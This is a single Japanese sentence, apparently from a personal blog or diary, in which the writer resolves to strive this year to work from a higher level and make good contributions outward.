今年中には、もっと高いところから取り組めるよう、また外に向かって良い貢献ができるよう、精進していこうと強く思う。